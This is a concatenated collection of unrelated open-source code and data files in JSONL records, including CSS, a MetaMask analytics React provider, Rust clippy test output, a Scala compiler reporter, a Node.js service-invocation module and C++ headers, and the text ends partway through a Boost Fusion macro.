ease;\n}\nnav a:hover, nav a:focus {\n\tcolor: #eee;\n\tbackground: #777;\n\t-moz-box-shadow: inset 0 -1px 4px rgba(0,0,0,0.3);\n\t-webkit-box-shadow: inset 0 -1px 4px rgba(0,0,0,0.3);\n\tbox-shadow: inset 0 -1px 4px rgba(0,0,0,0.3);\n}\nnav a:active {\n\tbackground: #777;\n\t-moz-box-shadow: inset 0 2px 4px rgba(0,0,0,0.5);\n\t-webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,0.5);\n\tbox-shadow: inset 0 2px 4px rgba(0,0,0,0.5);\n}\n\nnav .selected {\n\tposition: relative;\n\t-moz-box-shadow: inset 0 2px 4px rgba(0,0,0,0.3);\n\t-webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,0.3);\n\tbox-shadow: inset 0 2px 4px rgba(0,0,0,0.3);\n}\nnav .selected:after {\n\tdisplay: block;\n\tcontent: '.';\n\ttext-indent: -9999px;\n\tposition: absolute;\n\ttop: 24px;\n\tz-index: 1000;\n\tbackground: url(\"../images/selected-tab.png\") no-repeat scroll 0 0 transparent;\n\twidth: 15px;\n\theight: 8px;\n\tleft: 50%;\n\tmargin-left: -8px;\n}\n@media only screen and (max-device-width: 1024px) {\n\t/* make the links a little easier to hit */\n\tnav li {\n\t\tfont-size: 13px;\n\t\tline-height: 24px;\n\t}\n\tnav .selected:after {\n\t\ttop: 34px;\n\t}\n}\n\n#content {\n\tbackground: #FFF;\n color: #444444;\n line-height: 1;\n padding: 30px;\n}\n#innerContent {\n max-width: 740px;\n\tmin-width: 540px;\n}\n\n.examples #content h2 {\n\tmargin-top: 1em;\n}\n.examples #content ul {\n\tlist-style: none;\n\tposition: relative;\n\tpadding: 0;\n}\n.examples #content ul:after {content: '.'; display: block; clear: both; visibility: hidden; height: 0; }\n.examples #content ul li {\n\tlist-style: none;\n\tfloat: left;\n\twidth: 50%;\n\tpadding: 0;\n\tmargin: 0;\n}\n.examples #content ul li p {\n\tfont-size: 10px;\n\tfont-weight: bold;\n\tfont-family: Century Gothic, Apple Gothic, sans-serif;\n\tmargin: -10px 0 4px;\n\tline-height: 1;\n\ttext-align: right;\n\tpadding-right: 24px;\n\tcolor: #AAA;\n}\n.examples #content ul li pre {\n\twidth: auto;\n padding: 0 12px 0 0;\n\tmargin: 0 0 24px;\n}\n.examples #content ul li:nth-child(2) pre {\n\tpadding: 0 0 0 12px;\n}\n.examples #content ul li pre code {\n\tline-height: 1.3;\n}\n\n@media only screen and (max-device-width: 320px) and (orientation: portrait) {\n\t.examples #content ul li {\n\t\tfloat: none;\n\t\twidth: auto;\n\t}\n\t.examples #content ul li:nth-child(2) pre {\n\t\tpadding: 0 12px 0 0;\n\t}\n}\n\nfooter {\n\tclear: both;\n\tborder-top: 1px solid #333;\n\tpadding: 30px;\n}\n\nfooter .copyright {\n\tfont-size: 12px;\n\tcolor: #DDD;\n\ttext-align: center;\n\tmax-width: 740px;\n}\n\nfooter a {\n\tcolor: #EEE !important;\n\tfont-family: Century Gothic, Apple Gothic, sans-serif;\n\ttext-decoration: none;\n}"} +{"text": "entityConfigRelationsMigration = $entityConfigRelationsMigration;\n }\n\n /**\n * {@inheritdoc}\n */\n public function warmUp($cacheDir)\n {\n $this->entityConfigRelationsMigration->migrate();\n }\n\n /**\n * {@inheritdoc}\n */\n public function isOptional()\n {\n return false;\n }\n}\n"} +{"text": "error: length comparison to zero\n --> $DIR/len_zero.rs:61:8\n |\nLL | if x.len() == 0 {\n | ^^^^^^^^^^^^ help: using `is_empty` is clearer and more explicit: `x.is_empty()`\n |\n = note: `-D clippy::len-zero` implied by `-D warnings`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:65:8\n |\nLL | if \"\".len() == 0 {}\n | ^^^^^^^^^^^^^ help: using `is_empty` is clearer and more explicit: `\"\".is_empty()`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:80:8\n |\nLL | if has_is_empty.len() == 0 {\n | ^^^^^^^^^^^^^^^^^^^^^^^ help: using `is_empty` is clearer and more explicit: `has_is_empty.is_empty()`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:83:8\n |\nLL | if has_is_empty.len() != 0 {\n | ^^^^^^^^^^^^^^^^^^^^^^^ help: using `!is_empty` is clearer and more explicit: `!has_is_empty.is_empty()`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:86:8\n |\nLL | if has_is_empty.len() > 0 {\n | ^^^^^^^^^^^^^^^^^^^^^^ help: using `!is_empty` is clearer and more explicit: `!has_is_empty.is_empty()`\n\nerror: length comparison to one\n --> $DIR/len_zero.rs:89:8\n |\nLL | if has_is_empty.len() < 1 {\n | ^^^^^^^^^^^^^^^^^^^^^^ help: using `is_empty` is clearer and more explicit: `has_is_empty.is_empty()`\n\nerror: length comparison to one\n --> $DIR/len_zero.rs:92:8\n |\nLL | if has_is_empty.len() >= 1 {\n | ^^^^^^^^^^^^^^^^^^^^^^^ help: using `!is_empty` is clearer and more explicit: `!has_is_empty.is_empty()`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:103:8\n |\nLL | if 0 == has_is_empty.len() {\n | ^^^^^^^^^^^^^^^^^^^^^^^ help: using `is_empty` is clearer and more explicit: `has_is_empty.is_empty()`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:106:8\n |\nLL | if 0 != has_is_empty.len() {\n | ^^^^^^^^^^^^^^^^^^^^^^^ help: using `!is_empty` is clearer and more explicit: `!has_is_empty.is_empty()`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:109:8\n |\nLL | if 0 < has_is_empty.len() {\n | ^^^^^^^^^^^^^^^^^^^^^^ help: using `!is_empty` is clearer and more explicit: `!has_is_empty.is_empty()`\n\nerror: length comparison to one\n --> $DIR/len_zero.rs:112:8\n |\nLL | if 1 <= has_is_empty.len() {\n | ^^^^^^^^^^^^^^^^^^^^^^^ help: using `!is_empty` is clearer and more explicit: `!has_is_empty.is_empty()`\n\nerror: length comparison to one\n --> $DIR/len_zero.rs:115:8\n |\nLL | if 1 > has_is_empty.len() {\n | ^^^^^^^^^^^^^^^^^^^^^^ help: using `is_empty` is clearer and more explicit: `has_is_empty.is_empty()`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:129:8\n |\nLL | if with_is_empty.len() == 0 {\n | ^^^^^^^^^^^^^^^^^^^^^^^^ help: using `is_empty` is clearer and more explicit: `with_is_empty.is_empty()`\n\nerror: length comparison to zero\n --> $DIR/len_zero.rs:142:8\n |\nLL | if b.len() != 0 {}\n | ^^^^^^^^^^^^ help: using `!is_empty` is clearer and more explicit: `!b.is_empty()`\n\nerror: aborting due to 14 previous errors\n\n"} +{"text": "// $Id: ClSlackVariable.h,v 1.17 1999/04/20 00:25:14 gjb Exp $\n//\n// Cassowary Incremental Constraint Solver\n// Original Smalltalk Implementation by Alan Borning\n// This C++ Implementation by Greg J. Badros, \n// http://www.cs.washington.edu/homes/gjb\n// (C) 1998, 1999 Greg J. Badros and Alan Borning\n// See ../LICENSE for legal details regarding this software\n//\n// ClSlackVariable.h\n\n#ifndef ClSlackVariable_H\n#define ClSlackVariable_H\n\n#if defined(HAVE_CONFIG_H) && !defined(CONFIG_H_INCLUDED) && !defined(CONFIG_INLINE_H_INCLUDED)\n#include \"config-inline.h\"\n#define CONFIG_INLINE_H_INCLUDED\n#endif\n\n#include \"Cassowary.h\"\n#include \"ClAbstractVariable.h\"\n\nclass ClTableau;\nclass ClSimplexSolver;\n\n\nclass ClSlackVariable : public ClAbstractVariable {\npublic:\n#ifdef CL_FIND_LEAK\n ~ClSlackVariable() { --cSlackVariables; };\n\n static long cSlackVariables;\n#endif\n\nprotected:\n friend ClTableau;\n friend ClSimplexSolver;\n\n ClSlackVariable(string Name = \"\") :\n ClAbstractVariable(Name)\n {\n#ifdef CL_FIND_LEAK\n ++cSlackVariables; \n#endif\n }\n\n ClSlackVariable(long number, char *prefix) :\n ClAbstractVariable(number,prefix)\n { \n#ifdef CL_FIND_LEAK\n ++cSlackVariables; \n#endif\n }\n\n#ifndef CL_NO_IO\n virtual ostream &PrintOn(ostream &xo) const\n { \n xo << \"[\" << Name() << \":slack]\";\n return xo;\n }\n#endif\n\n virtual bool IsExternal() const\n { return false; }\n\n virtual bool IsPivotable() const\n { return true; }\n\n virtual bool IsRestricted() const\n { return true; }\n\n};\n\n\n#endif\n"} +{"text": "/**\n * This file is intended to be renamed to metametrics.js once the conversion is complete.\n * MetaMetrics is our own brand, and should remain aptly named regardless of the underlying\n * metrics system. This file implements Segment analytics tracking.\n */\nimport React, { useRef, Component, createContext, useEffect, useCallback } from 'react'\nimport { useSelector } from 'react-redux'\nimport PropTypes from 'prop-types'\nimport { useLocation, matchPath, useRouteMatch } from 'react-router-dom'\nimport { captureException, captureMessage } from '@sentry/browser'\n\nimport { omit } from 'lodash'\nimport {\n getCurrentNetworkId,\n} from '../selectors/selectors'\n\nimport { getEnvironmentType } from '../../../app/scripts/lib/util'\nimport {\n sendCountIsTrackable,\n segment,\n METAMETRICS_ANONYMOUS_ID,\n} from '../helpers/utils/metametrics.util'\nimport { PATH_NAME_MAP } from '../helpers/constants/routes'\nimport { getCurrentLocale } from '../ducks/metamask/metamask'\nimport { txDataSelector } from '../selectors'\n\nexport const MetaMetricsContext = createContext(() => {\n captureException(\n Error(`MetaMetrics context function was called from a react node that is not a descendant of a MetaMetrics context provider`),\n )\n})\n\nconst PATHS_TO_CHECK = Object.keys(PATH_NAME_MAP)\n\nfunction useSegmentContext () {\n const match = useRouteMatch({ path: PATHS_TO_CHECK, exact: true, strict: true })\n const locale = useSelector(getCurrentLocale)\n const txData = useSelector(txDataSelector) || {}\n const confirmTransactionOrigin = txData.origin\n\n const referrer = confirmTransactionOrigin ? {\n url: confirmTransactionOrigin,\n } : undefined\n\n let version = global.platform.getVersion()\n if (process.env.METAMASK_ENVIRONMENT !== 'production') {\n version = `${version}-${process.env.METAMASK_ENVIRONMENT}`\n }\n\n const page = match ? {\n path: match.path,\n title: PATH_NAME_MAP[match.path],\n url: match.path,\n } : undefined\n\n return {\n app: {\n version,\n name: 'MetaMask Extension',\n },\n locale: locale.replace('_', '-'),\n page,\n referrer,\n userAgent: window.navigator.userAgent,\n }\n}\n\nexport function MetaMetricsProvider ({ children }) {\n const network = useSelector(getCurrentNetworkId)\n const metaMetricsId = useSelector((state) => state.metamask.metaMetricsId)\n const participateInMetaMetrics = useSelector((state) => state.metamask.participateInMetaMetrics)\n const metaMetricsSendCount = useSelector((state) => state.metamask.metaMetricsSendCount)\n const location = useLocation()\n const context = useSegmentContext()\n\n // Used to prevent double tracking page calls\n const previousMatch = useRef()\n\n /**\n * Anytime the location changes, track a page change with segment.\n * Previously we would manually track changes to history and keep a\n * reference to the previous url, but with page tracking we can see\n * which page the user is on and their navigation path.\n */\n useEffect(() => {\n const environmentType = getEnvironmentType()\n if (\n (participateInMetaMetrics === null && location.pathname.startsWith('/initialize')) ||\n participateInMetaMetrics\n ) {\n // Events that happen during initialization before the user opts into MetaMetrics will be anonymous\n const idTrait = metaMetricsId ? 'userId' : 'anonymousId'\n const idValue = metaMetricsId ?? METAMETRICS_ANONYMOUS_ID\n const match = matchPath(location.pathname, { path: PATHS_TO_CHECK, exact: true, strict: true })\n if (\n match &&\n previousMatch.current !== match.path &&\n // If we're in a popup or notification we don't want the initial home route to track\n !(\n (environmentType === 'popup' || environmentType === 'notification') &&\n match.path === '/' &&\n previousMatch.current === undefined\n )\n ) {\n const { path, params } = match\n const name = PATH_NAME_MAP[path]\n segment.page({\n [idTrait]: idValue,\n name,\n properties: {\n // We do not want to send addresses or accounts in any events\n // Some routes include these as params.\n params: omit(params, ['account', 'address']),\n network,\n environment_type: environmentType,\n },\n context,\n })\n } else if (location.pathname !== '/confirm-transaction') {\n // We have more specific pages for each type of transaction confirmation\n // The user lands on /confirm-transaction first, then is redirected based on\n // the contents of state.\n captureMessage(`${location.pathname} would have issued a page track event to segment, but no route match was found`)\n }\n previousMatch.current = match?.path\n }\n }, [location, context, network, metaMetricsId, participateInMetaMetrics])\n\n /**\n * track a metametrics event using segment\n * e.g metricsEvent({ event: 'Unlocked MetaMask', category: 'Navigation' })\n *\n * @param {object} config - configuration object for the event to track\n * @param {string} config.event - event name to track\n * @param {string} config.category - category to associate event to\n * @param {boolean} [config.isOptIn] - happened during opt in/out workflow\n * @param {object} [config.properties] - object of custom values to track, snake_case\n * @param {number} [config.revenue] - amount of currency that event creates in revenue for MetaMask\n * @param {string} [config.currency] - ISO 4127 format currency for events with revenue, defaults to US dollars\n * @param {number} [config.value] - Abstract \"value\" that this event has for MetaMask.\n * @return {undefined}\n */\n const trackEvent = useCallback(\n (config = {}) => {\n const { event, category, isOptIn = false, properties = {}, revenue, value, currency } = config\n if (!event) {\n // Event name is required for tracking an event\n throw new Error('MetaMetrics trackEvent function must be provided a payload with an \"event\" key')\n }\n if (!category) {\n // Category must be supplied for every tracking event\n throw new Error('MetaMetrics events must be provided a category')\n }\n const environmentType = getEnvironmentType()\n\n let excludeMetaMetricsId = config.excludeMetaMetricsId ?? false\n\n // This is carried over from the old implementation, and will likely need\n // to be updated to work with the new tracking plan. I think we should use\n // a config setting for this instead of trying to match the event name\n const isSendFlow = Boolean(event.match(/^send|^confirm/u))\n if (isSendFlow && !sendCountIsTrackable(metaMetricsSendCount + 1)) {\n excludeMetaMetricsId = true\n }\n const idTrait = excludeMetaMetricsId ? 'anonymousId' : 'userId'\n const idValue = excludeMetaMetricsId ? METAMETRICS_ANONYMOUS_ID : metaMetricsId\n\n if (participateInMetaMetrics || isOptIn) {\n segment.track({\n [idTrait]: idValue,\n event,\n properties: {\n ...omit(properties, ['revenue', 'currency', 'value']),\n revenue,\n value,\n currency,\n category,\n network,\n environment_type: environmentType,\n },\n context,\n })\n }\n\n return undefined\n }, [\n context,\n network,\n metaMetricsId,\n metaMetricsSendCount,\n participateInMetaMetrics,\n ],\n )\n\n return (\n \n {children}\n \n )\n}\n\nMetaMetricsProvider.propTypes = { children: PropTypes.node }\n\nexport class LegacyMetaMetricsProvider extends Component {\n static propTypes = {\n children: PropTypes.node,\n }\n\n static defaultProps = {\n children: undefined,\n }\n\n static contextType = MetaMetricsContext\n\n static childContextTypes = {\n // This has to be different than the type name for the old metametrics file\n // using the same name would result in whichever was lower in the tree to be\n // used.\n trackEvent: PropTypes.func,\n }\n\n getChildContext () {\n return {\n trackEvent: this.context,\n }\n }\n\n render () {\n return this.props.children\n }\n}\n"} +{"text": "/*\n * Zinc - The incremental compiler for Scala.\n * Copyright Lightbend, Inc. and Mark Harrah\n *\n * Licensed under Apache License 2.0\n * (http://www.apache.org/licenses/LICENSE-2.0).\n *\n * See the NOTICE file distributed with this work for\n * additional information regarding copyright ownership.\n */\n\npackage sbt\npackage internal\npackage inc\n\n// The following code is based on scala.tools.nsc.reporters.{AbstractReporter, ConsoleReporter, Reporter}\n// Copyright 2002-2009 LAMP/EPFL\n// see licenses/LICENSE_Scala\n// Original author: Martin Odersky\n\nimport xsbti.{ Logger, Position, Problem, Reporter, Severity }\nimport java.util.EnumMap\n\nimport scala.collection.mutable\nimport LoggedReporter._\nimport sbt.internal.util.ManagedLogger\nimport sbt.internal.util.codec._\nimport Severity.{ Error, Warn, Info => SInfo }\n\nobject LoggedReporter {\n final class PositionKey(pos: Position) {\n import sbt.util.InterfaceUtil.jo2o\n def offset = pos.offset\n def sourceFile = pos.sourceFile\n\n override def equals(o: Any) =\n o match { case pk: PositionKey => equalsKey(pk); case _ => false }\n\n def equalsKey(o: PositionKey) =\n jo2o(pos.offset) == jo2o(o.offset) &&\n jo2o(pos.sourceFile) == jo2o(o.sourceFile)\n override def hashCode =\n jo2o(pos.offset).hashCode * 31 + jo2o(pos.sourceFile).hashCode\n }\n\n def countElementsAsString(n: Int, elements: String): String = {\n n match {\n case 0 => \"no \" + elements + \"s\"\n case 1 => \"one \" + elements\n case 2 => \"two \" + elements + \"s\"\n case 3 => \"three \" + elements + \"s\"\n case 4 => \"four \" + elements + \"s\"\n case _ => \"\" + n + \" \" + elements + \"s\"\n }\n }\n\n lazy val problemFormats: ProblemFormats = new ProblemFormats with SeverityFormats\n with PositionFormats with sjsonnew.BasicJsonProtocol {}\n lazy val problemStringFormats: ProblemStringFormats = new ProblemStringFormats {}\n}\n\n/**\n * Defines a logger that uses event logging provided by a ManagedLogger.\n *\n * This functionality can be use by anyone that wants to get support for event\n * logging and use an underlying, controlled logger under the hood.\n *\n * The [[ManagedLoggedReporter]] exists for those users that do not want to set\n * up the passed logger. Event logging requires registration of codects to\n * serialize and deserialize `Problem`s. This reporter makes sure to initialize\n * the managed logger so that users do not need to take care of this cumbersome process.\n *\n * @param maximumErrors The maximum errors.\n * @param logger The event managed logger.\n * @param sourcePositionMapper The position mapper.\n */\nclass ManagedLoggedReporter(\n maximumErrors: Int,\n logger: ManagedLogger,\n sourcePositionMapper: Position => Position = identity[Position]\n) extends LoggedReporter(maximumErrors, logger, sourcePositionMapper) {\n import problemFormats._\n import problemStringFormats._\n logger.registerStringCodec[Problem]\n\n override def logError(problem: Problem): Unit = logger.errorEvent(problem)\n override def logWarning(problem: Problem): Unit = logger.warnEvent(problem)\n override def logInfo(problem: Problem): Unit = logger.infoEvent(problem)\n}\n\n/**\n * Defines a reporter that forwards every reported problem to a wrapped logger.\n *\n * This is the most common use of a reporter, where users pass in whichever logger\n * they want. If they are depending on loggers from other libraries, they can\n * create a logger that extends the xsbti logging interface.\n *\n * @param maximumErrors The maximum errors.\n * @param logger The logger interface provided by the user.\n * @param sourcePositionMapper The position mapper.\n */\nclass LoggedReporter(\n maximumErrors: Int,\n logger: Logger,\n sourcePositionMapper: Position => Position = identity[Position]\n) extends Reporter {\n import sbt.util.InterfaceUtil.{ toSupplier => f0 }\n lazy val positions = new mutable.HashMap[PositionKey, Severity]\n lazy val count = new EnumMap[Severity, Int](classOf[Severity])\n protected lazy val allProblems = new mutable.ListBuffer[Problem]\n reset()\n\n def reset(): Unit = {\n count.put(Warn, 0)\n count.put(SInfo, 0)\n count.put(Error, 0)\n positions.clear()\n allProblems.clear()\n }\n\n def hasWarnings = count.get(Warn) > 0\n def hasErrors = count.get(Error) > 0\n def problems: Array[Problem] = allProblems.toArray\n def comment(pos: Position, msg: String): Unit = ()\n\n override def log(problem0: Problem): Unit = {\n import sbt.util.InterfaceUtil\n val (category, position, message, severity, rendered) =\n (problem0.category, problem0.position, problem0.message, problem0.severity, problem0.rendered)\n // Note: positions in reported errors can be fixed with `sourcePositionMapper`.\n val transformedPos: Position = sourcePositionMapper(position)\n val problem = InterfaceUtil.problem(\n category,\n transformedPos,\n message,\n severity,\n InterfaceUtil.jo2o(rendered)\n )\n allProblems += problem\n severity match {\n case Warn | Error =>\n if (!testAndLog(transformedPos, severity)) display(problem)\n else ()\n case _ => display(problem)\n }\n }\n\n override def printSummary(): Unit = {\n val warnings = count.get(Severity.Warn)\n if (warnings > 0)\n logger.warn(f0(countElementsAsString(warnings, \"warning\") + \" found\"))\n val errors = count.get(Severity.Error)\n if (errors > 0)\n logger.error(f0(countElementsAsString(errors, \"error\") + \" found\"))\n }\n\n private def inc(sev: Severity) = count.put(sev, count.get(sev) + 1)\n protected def logError(problem: Problem): Unit = logger.error(f0(problem.toString))\n protected def logWarning(problem: Problem): Unit = logger.warn(f0(problem.toString))\n protected def logInfo(problem: Problem): Unit = logger.info(f0(problem.toString))\n\n private def display(p: Problem): Unit = {\n val severity = p.severity()\n inc(severity)\n if (severity != Error || maximumErrors <= 0 || count.get(severity) <= maximumErrors) {\n severity match {\n case Error => logError(p)\n case Warn => logWarning(p)\n case SInfo => logInfo(p)\n }\n }\n }\n\n private def testAndLog(pos: Position, severity: Severity): Boolean = {\n if (!pos.offset.isPresent || !pos.sourceFile.isPresent) false\n else {\n val key = new PositionKey(pos)\n if (positions.get(key).exists(_.ordinal >= severity.ordinal))\n true\n else {\n positions(key) = severity\n false\n }\n }\n }\n}\n"} +{"text": "age-groups:\n 8-10:\n lesson-1:\n number: 1\n"} +{"text": "stdout 0\nstderr 0\nstdout 1\nstderr 1\nstdout 2\nstderr 2\nstdout 3\nstderr 3\nstdout 4\nstderr 4\nstdout 5\nstderr 5\nstdout 6\nstderr 6\nstdout 7\nstderr 7\nstdout 8\nstderr 8\nstdout 9\nstderr 9\nstdout 10\nstderr 10\nstdout 11\nstderr 11\nstdout 12\nstderr 12\nstdout 13\nstderr 13\nstdout 14\nstderr 14\nstdout 15\nstderr 15\nstdout 16\nstderr 16\nstdout 17\nstderr 17\nstdout 18\nstderr 18\nstdout 19\nstderr 19\nstdout 20\nstderr 20\nstdout 21\nstderr 21\nstdout 22\nstderr 22\nstdout 23\nstderr 23\nstdout 24\nstderr 24\nstdout 25\nstderr 25\nstdout 26\nstderr 26\nstdout 27\nstderr 27\nstdout 28\nstderr 28\nstdout 29\nstderr 29\nstdout 30\nstderr 30\nstdout 31\nstderr 31\nstdout 32\nstderr 32\nstdout 33\nstderr 33\nstdout 34\nstderr 34\nstdout 35\nstderr 35\nstdout 36\nstderr 36\nstdout 37\nstderr 37\nstdout 38\nstderr 38\nstdout 39\nstderr 39\nstdout 40\nstderr 40\nstdout 41\nstderr 41\nstdout 42\nstderr 42\nstdout 43\nstderr 43\nstdout 44\nstderr 44\nstdout 45\nstderr 45\nstdout 46\nstderr 46\nstdout 47\nstderr 47\nstdout 48\nstderr 48\nstdout 49\nstderr 49\nstdout 50\nstderr 50\nstdout 51\nstderr 51\nstdout 52\nstderr 52\nstdout 53\nstderr 53\nstdout 54\nstderr 54\nstdout 55\nstderr 55\nstdout 56\nstderr 56\nstdout 57\nstderr 57\nstdout 58\nstderr 58\nstdout 59\nstderr 59\nstdout 60\nstderr 60\nstdout 61\nstderr 61\nstdout 62\nstderr 62\nstdout 63\nstderr 63\nstdout 64\nstderr 64\nstdout 65\nstderr 65\nstdout 66\nstderr 66\nstdout 67\nstderr 67\nstdout 68\nstderr 68\nstdout 69\nstderr 69\nstdout 70\nstderr 70\nstdout 71\nstderr 71\nstdout 72\nstderr 72\nstdout 73\nstderr 73\nstdout 74\nstderr 74\nstdout 75\nstderr 75\nstdout 76\nstderr 76\nstdout 77\nstderr 77\nstdout 78\nstderr 78\nstdout 79\nstderr 79\nstdout 80\nstderr 80\nstdout 81\nstderr 81\nstdout 82\nstderr 82\nstdout 83\nstderr 83\nstdout 84\nstderr 84\nstdout 85\nstderr 85\nstdout 86\nstderr 86\nstdout 87\nstderr 87\nstdout 88\nstderr 88\nstdout 89\nstderr 89\nstdout 90\nstderr 90\nstdout 91\nstderr 91\nstdout 92\nstderr 92\nstdout 93\nstderr 93\nstdout 94\nstderr 94\nstdout 95\nstderr 95\nstdout 96\nstderr 96\nstdout 97\nstderr 97\nstdout 98\nstderr 98\nstdout 99\nstderr 99\n"} +{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n"} +{"text": "var _ = require('lodash'),\n Promises = require('./../../promises'),\n path = require('path'),\n CONSTANTS = require('./../../constants'),\n util = require('util'),\n async = require('async'),\n minimatch = require('minimatch');\n\n\nfunction Service(container, name, fromModule) {\n this.container = container;\n \n this.modulesCache = null;\n this.scope = name.lastIndexOf(\"/\") === -1 ? \"\" : path.dirname(name);\n this.serviceName = name;\n this.fromModule = fromModule;\n \n this.log = container.log;\n}\n\nService.prototype.sequence = function(/* varargs */) {\n var args = Array.prototype.slice.apply(arguments);\n return this._invoke(args);\n};\n\nService.prototype.invoke = Service.prototype.sequence;\n\nService.prototype.pipeline = function(initial) {\n return this._invoke(initial, {chained: true});\n};\n\nService.prototype.any = function() {\n var args = Array.prototype.slice.call(arguments);\n return this._invoke(args, {oneResult: true});\n};\n\n/**\n *\n * @param args\n * @param options\n * @returns {*}\n * @private\n */\nService.prototype._invoke = function(args, options) {\n var self = this;\n options = options || {};\n self.log('debug', \"Invoking service \" + self.serviceName + \", resolving modules..\");\n\n //check if we have a pre-configured order\n if(self.modulesCache) {\n return self._invokeWithModules(args, options, self.modulesCache);\n } else {\n var moduleList = self.getProviderModules(); \n \n return self._loadModules(moduleList).then(function(modules) {\n modules = self.modulesCache = self._sortProviders(modules);\n return self._invokeWithModules(args, options, modules);\n });\n }\n};\n\n\n/**\n *\n */\nService.prototype.getProviderModules = function() {\n var self = this;\n var modules = self.container.assemble(self.scope);\n \n var mods = [];\n _.each(modules, function(mod, moduleName) {\n if(mod.annotations.isStateful && !self.container.isStateful) {\n return undefined;\n }\n \n if(mod.annotations.provides[self.serviceName]) {\n mods.push(moduleName);\n }\n });\n\n return mods;\n};\n\nService.prototype._loadModules = function(names) {\n var self = this;\n var retModules = {};\n\n var promise = Promises.resolve();\n _.each(names, function(modName) {\n promise = promise.then(function() {\n //do not try to load the module with same name, otherwise it will retrieve the parent module\n if(self.fromModule && modName === self.fromModule.name) {\n return self.fromModule;\n }\n return self.container.loadModule(modName, self.fromModule, CONSTANTS.INIT_OPTION_INIT_TREE);\n }).then(function(mod) {\n retModules[modName] = mod;\n });\n });\n\n return promise.then(function() {\n return retModules;\n });\n};\n\n\n/**\n *\n * @param args\n * @param options\n * @param modules\n * @returns {*}\n * @private\n */\nService.prototype._invokeWithModules = function(args, options, modules) {\n var self = this;\n var initialInput;\n var results;\n if(options.chained) {\n initialInput = args;\n } else if(!options.oneResult) {\n results = [];\n }\n\n self.log('debug', \"Invoking service \" + self.serviceName + \" over modules \" + util.inspect(_.pluck(modules, 'name')));\n\n var deferred = Promises.defer();\n \n var prevRes = initialInput;\n var mod;\n var idx = 0;\n var finish = false;\n async.whilst(\n function() {\n mod = modules[idx];\n return idx < modules.length && !finish;\n },\n function(done) {\n try {\n idx++;\n self.log('debug', \"Invoking service \" + self.serviceName + \" over module \" + mod.name);\n var argsToUse = args;\n if(options.chained) {\n argsToUse = [prevRes];\n }\n var instance = mod.getInstance();\n var handler = mod.annotations.provides[self.serviceName].handler;\n if(!handler) {\n //use default\n handler = path.basename(self.serviceName);\n }\n var service = instance[handler];\n if(!instance || !_.isFunction(service)) {\n throw new Error(\"Can't find service handler '\" + handler + \"' into module \" + mod.name);\n }\n \n var res = service.apply(instance, argsToUse);\n if(!Promises.isPromiseLike(res)) {\n setResult(res);\n } else {\n res.then(function(res) {\n setResult(res);\n }).catch(done);\n }\n } catch(err) {\n done(err);\n }\n \n function setResult(res) {\n if(options.chained || options.oneResult) {\n prevRes = res;\n finish = prevRes !== void 0 && options.oneResult;\n done();\n } else {\n results.push(res);\n done();\n }\n }\n }, function(err, res) {\n if(err) {\n self.log('error', \"There was an error while invoking service \" + self.serviceName +\n \" over module: \" + mod.name + \".\\n\" + err.stack);\n deferred.reject(err);\n } else {\n self.log('trace', \"All services \" + self.serviceName + \" were invoked\");\n if(options.chained || options.oneResult) {\n deferred.resolve(prevRes);\n } else {\n deferred.resolve(results);\n }\n }\n }\n );\n \n return deferred.promise;\n};\n\n\n/**\n *\n * Topological Sort\n */\nService.prototype._sortProviders = function(modules) {\n var self = this;\n //keep dependencies somewhere\n var dependencies = {};\n var providerModules = _.keys(modules);\n //initialize deps\n _.each(providerModules, function(name) {\n dependencies[name] = [];\n });\n\n _.each(providerModules, function(name) {\n var desc = modules[name].annotations.provides[self.serviceName];\n _.each(desc.after, function(dep) {\n var matched = minimatch.match(providerModules, dep, {});\n _.each(matched, function(match) {\n if(match !== name) {\n if(_.contains(dependencies[match] ,name)) {\n self.log('info', \"There is a dependency loop between services from '\" + name + \"' and '\" + match + \"'\");\n } else {\n dependencies[name].push(match);\n }\n }\n });\n });\n\n //reverse dependencies\n _.each(desc.before, function(inverseDep) {\n var matched = minimatch.match(providerModules, inverseDep, {});\n _.each(matched, function(match) {\n if(match !== name) {\n if(_.contains(dependencies[name], match)) {\n self.log('info', \"There is a dependency loop between services from '\" + match+ \"' and '\" + name + \"'\");\n } else {\n dependencies[match].push(name);\n }\n }\n });\n });\n });\n\n //find no deps\n var noDeps = [];\n var yesDeps = {};\n _.each(dependencies, function(deps, name) {\n if(deps.length === 0) {\n noDeps.push(name);\n } else {\n yesDeps[name] = _.uniq(deps);\n }\n });\n dependencies = yesDeps;\n\n\n var pluginsOrder = [];\n while(noDeps.length !== 0) {\n var currentName = noDeps.shift();\n pluginsOrder.push(modules[currentName]);\n for(var name2 in dependencies) {\n if(dependencies.hasOwnProperty(name2) && _.contains(dependencies[name2], currentName)) {\n var newDependencies = _.without(dependencies[name2], currentName);\n if(newDependencies.length === 0) {\n noDeps.push(name2);\n delete dependencies[name2];\n } else {\n dependencies[name2] = newDependencies;\n }\n }\n }\n }\n\n if(_.keys(dependencies).length !== 0) {\n self.log('info', \"There are missing service dependencies for modules \" +\n util.inspect(dependencies));\n _.each(dependencies, function(dep, name) {\n pluginsOrder.push(modules[name]);\n });\n }\n return pluginsOrder;\n};\n\nmodule.exports = Service;\n"} +{"text": "/*=============================================================================\n Copyright (c) 2010-2011 Christopher Schmidt\n\n Distributed under the Boost Software License, Version 1.0. (See accompanying\n file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n==============================================================================*/\n\n#ifndef BOOST_FUSION_ADAPTED_STRUCT_DEFINE_STRUCT_HPP\n#define BOOST_FUSION_ADAPTED_STRUCT_DEFINE_STRUCT_HPP\n\n#include \n#include \n#include \n#include \n\n#define BOOST_FUSION_DEFINE_TPL_STRUCT( \\\n TEMPLATE_PARAMS_SEQ, NAMESPACE_SEQ, NAME, ATTRIBUTES) \\\n \\\n BOOST_FUSION_DEFINE_TPL_STRUCT_IMPL( \\\n TEMPLATE_PARAMS_SEQ, \\\n (0)NAMESPACE_SEQ, \\\n NAME, \\\n 